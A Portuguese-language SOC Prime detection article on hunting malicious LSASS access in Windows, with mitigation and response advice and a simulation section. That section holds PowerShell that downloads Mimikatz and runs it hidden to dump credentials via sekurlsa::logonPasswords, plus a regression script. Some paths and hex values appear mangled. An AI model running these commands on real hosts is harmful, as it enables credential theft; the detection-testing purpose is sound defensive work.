SOC Prime Bias: Médio

11 Dez 2025 17:46

Caçando Acessos Maliciosos ao LSASS em Ambientes Windows

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Caçando Acessos Maliciosos ao LSASS em Ambientes Windows
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O artigo descreve como os adversários extraem credenciais acessando o processo LSASS com ferramentas como Mimikatz e Cobalt Strike. Cobre as chamadas típicas da API do Windows, DLLs e direitos de acesso envolvidos no despejo de memória do LSASS. Os autores compartilham consultas de detecção atualizadas para Sysmon e outras plataformas EDR, com ênfase em reforçar a cobertura de detecção de despejo de credenciais.

Investigação

A Equipe de Pesquisa de Ameaças da Splunk emulou o acesso ao LSASS usando Atomic Red Team, Mimikatz, Invoke-Mimikatz e Cobalt Strike. Eles capturaram telemetria do Sysmon mostrando carregamentos de DLLs (dbgcore.dll, dbghelp.dll, ntdll.dll) e valores característicos de GrantedAccess. Este conjunto de dados foi então utilizado para ajustar consultas de detecção que correlacionam informações de CallTrace com direitos de acesso específicos.

Mitigação

Ajuste políticas de Sysmon ou EDR para registrar eventos de ProcessAccess contra lsass.exe, aplicando filtros em DLLs conhecidas e direitos de acesso relevantes enquanto lista branca processos de sistema confiáveis. Use as consultas fornecidas para gerar alertas sobre padrões suspeitos de acesso ao LSASS. Revise e refine essas regras continuamente à medida que novas ferramentas e técnicas surgem.

Resposta

Quando uma detecção é acionada, valide o processo originador, contexto de usuário associado, e as DLLs envolvidas no acesso ao LSASS. Isole o endpoint afetado, capture a memória para uma análise forense mais profunda, e avalie evidências de roubo de credenciais. Examine a árvore de processos para distinguir utilitários administrativos legítimos de atividades indicativas de um atacante.

Fluxo de Ataque

Ainda estamos atualizando esta parte. Inscreva-se para ser notificado

Notifique-me

Execução de Simulação

Pré-requisito: A Verificação Prévia de Telemetria & Baseline deve ter sido aprovada.

Motivo: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa & Comandos de Ataque:
    Um atacante obteve direitos de administrador local no host vítima e deseja coletar credenciais para movimentação lateral. Eles copiam a ferramenta de código aberto Mimikatz para a máquina, elevam o processo para privilégio DEBUG e invocam o módulo sekurlsa::logonPasswords, que lê a memória do LSASS por meio de chamadas de API nativas que atravessam ntdll.dll. O Sysmon registra isso como um evento ProcessAccess com várias flags de GrantedAccess de alto privilégio (e.g., 0x00100x14000x00100x14000x1fffff). O atacante executa a ferramenta de uma sessão do PowerShell oculta para evitar exposição da interface do usuário.

    # 1. Soltar binário Mimikatz em %TEMP%
    $mkPath = "$env:TEMPmimikatz.exe"
    Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "$env:TEMPmk.zip"
    Expand-Archive -Path "$env:TEMPmk.zip" -DestinationPath $env:TEMP -Force
    Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force
    
    # 2. Executar Mimikatz com comandos de despejo de credenciais
    Start-Process -FilePath $mkPath -ArgumentList 'privilege::debug sekurlsa::logonPasswords exit' -WindowStyle Hidden -Wait
  • Script de Teste de Regressão:

    # ----------------------------------------------------------------------
    # Simulação de Despejo de Credenciais do LSASS – aciona regra Sigma #4e0789a0…
    # ----------------------------------------------------------------------
    # Soltar Mimikatz (se ainda não estiver presente)
    $mkPath = "$env:TEMPmimikatz.exe"
    if (-Not (Test-Path $mkPath)) {
        $zip = "$env:TEMPmk.zip"
        Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile $zip
        Expand-Archive -Path $zip -DestinationPath $env:TEMP -Force
        Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force
        Remove-Item $zip -Force
    }
    
    # Executar Mimikatz para despejar credenciais do LSASS
    $args = 'privilege::debug sekurlsa::logonPasswords exit'
    Write-Host "[+] Executando Mimikatz para despejo do LSASS..."
    Start-Process -FilePath $mkPath -ArgumentList $args -WindowStyle Hidden -Wait
    Write-Host "[+] Execução do Mimikatz concluída."
    # ----------------------------------------------------------------------
  • Comandos de Limpeza:

    # Remover binário Mimikatz e quaisquer arquivos residuais
    $mkPath = "$env:TEMPmimikatz.exe"
    if (Test-Path $mkPath) { Remove-Item $mkPath -Force }
    $folder = "$env:TEMPmimikatz"
    if (Test-Path $folder) { Remove-Item $folder -Recurse -Force }
    Write-Host "Limpeza concluída."